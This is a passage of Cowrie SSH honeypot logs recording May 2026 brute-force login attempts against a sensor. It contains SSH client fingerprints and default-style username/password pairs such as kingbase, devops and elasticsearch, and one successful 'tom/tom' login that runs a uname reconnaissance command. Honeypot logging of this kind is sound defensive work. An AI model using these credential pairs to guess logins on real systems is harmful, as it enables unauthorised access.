sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:39.440698Z","src_ip":"83.168.110.85","session":"835b099e4b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:39.803650Z","src_ip":"83.168.110.85","session":"835b099e4b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36112,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b16aa93ac6","protocol":"ssh","message":"New connection: 103.172.78.219:36112 (159.203.135.109:22) [session: 23b16aa93ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:40.357798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:40.362556Z","src_ip":"103.172.78.219","session":"23b16aa93ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:40.618078Z","src_ip":"103.172.78.219","session":"23b16aa93ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:40.955750Z","src_ip":"83.168.110.85","session":"835b099e4b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:41.382382Z","src_ip":"103.172.78.219","session":"23b16aa93ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:42.639995Z","src_ip":"103.172.78.219","session":"23b16aa93ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38036,"dst_ip":"159.203.135.109","dst_port":22,"session":"11c3f1a17ab6","protocol":"ssh","message":"New connection: 83.168.110.85:38036 (159.203.135.109:22) [session: 11c3f1a17ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:49.662959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:49.667637Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:49.788949Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:50.152769Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:50.435704Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:50.439207Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:50.567433Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:50.572383Z","src_ip":"83.168.110.85","session":"11c3f1a17ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46694,"dst_ip":"159.203.135.109","dst_port":22,"session":"f784a2cf559b","protocol":"ssh","message":"New connection: 83.168.110.85:46694 (159.203.135.109:22) [session: f784a2cf559b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:00.105920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:00.111933Z","src_ip":"83.168.110.85","session":"f784a2cf559b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:00.235516Z","src_ip":"83.168.110.85","session":"f784a2cf559b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:00.600988Z","src_ip":"83.168.110.85","session":"f784a2cf559b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:01.754568Z","src_ip":"83.168.110.85","session":"f784a2cf559b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46268,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d6d298fae1","protocol":"ssh","message":"New connection: 83.168.110.85:46268 (159.203.135.109:22) [session: b4d6d298fae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:10.578238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:10.586654Z","src_ip":"83.168.110.85","session":"b4d6d298fae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:10.707443Z","src_ip":"83.168.110.85","session":"b4d6d298fae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:11.080806Z","src_ip":"83.168.110.85","session":"b4d6d298fae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:12.206071Z","src_ip":"83.168.110.85","session":"b4d6d298fae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38930,"dst_ip":"159.203.135.109","dst_port":22,"session":"13794bca12e3","protocol":"ssh","message":"New connection: 83.168.110.85:38930 (159.203.135.109:22) [session: 13794bca12e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:21.123996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:21.128780Z","src_ip":"83.168.110.85","session":"13794bca12e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:21.250239Z","src_ip":"83.168.110.85","session":"13794bca12e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:21.614189Z","src_ip":"83.168.110.85","session":"13794bca12e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:22.793657Z","src_ip":"83.168.110.85","session":"13794bca12e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38992,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f88f1bd0cc","protocol":"ssh","message":"New connection: 83.168.110.85:38992 (159.203.135.109:22) [session: 40f88f1bd0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:31.471723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:31.479775Z","src_ip":"83.168.110.85","session":"40f88f1bd0cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:31.601252Z","src_ip":"83.168.110.85","session":"40f88f1bd0cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:31.961166Z","src_ip":"83.168.110.85","session":"40f88f1bd0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:33.097570Z","src_ip":"83.168.110.85","session":"40f88f1bd0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":59064,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8b75e1f3a33","protocol":"ssh","message":"New connection: 103.77.175.15:59064 (159.203.135.109:22) [session: b8b75e1f3a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:33.215295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:33.219664Z","src_ip":"103.77.175.15","session":"b8b75e1f3a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:33.472514Z","src_ip":"103.77.175.15","session":"b8b75e1f3a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxsw","message":"login attempt [root/zaqxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:34.535254Z","src_ip":"103.77.175.15","session":"b8b75e1f3a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:35.790563Z","src_ip":"103.77.175.15","session":"b8b75e1f3a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38204,"dst_ip":"159.203.135.109","dst_port":22,"session":"c21679d6e360","protocol":"ssh","message":"New connection: 83.168.110.85:38204 (159.203.135.109:22) [session: c21679d6e360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:41.971208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:55:41.979292Z","src_ip":"83.168.110.85","session":"c21679d6e360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"c